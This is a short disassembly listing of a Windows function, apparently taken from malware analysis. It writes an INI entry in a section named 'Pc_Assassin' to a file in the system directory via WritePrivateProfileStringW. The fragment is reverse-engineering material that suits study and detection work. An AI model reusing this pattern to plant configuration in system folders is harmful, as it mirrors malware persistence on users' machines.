lea rcx, [rsp + 0x20]
mov r8d, 0x208
call fcn.18001d0d0
mov edx, 0x104
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea rcx, [rsp + 0x20]
sub rcx, 2
lea rcx, [rcx + 2]
cmp word [rcx], 0
jne 0x18000ad68
movups xmm0, xmmword [str.ini.ini]
movzx eax, word [0x18005cfa0]
lea r9, [rsp + 0x20]
mov r8, rdi
mov rdx, rbx
movups xmmword [rcx], xmm0
mov word [rcx + 0x10], ax
lea rcx, str.Pc_Assassin
call qword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
mov rcx, qword [rsp + 0x230]
xor rcx, rsp
call fcn.18000b240
mov rbx, qword [rsp + 0x260]
add rsp, 0x240
pop rdi
ret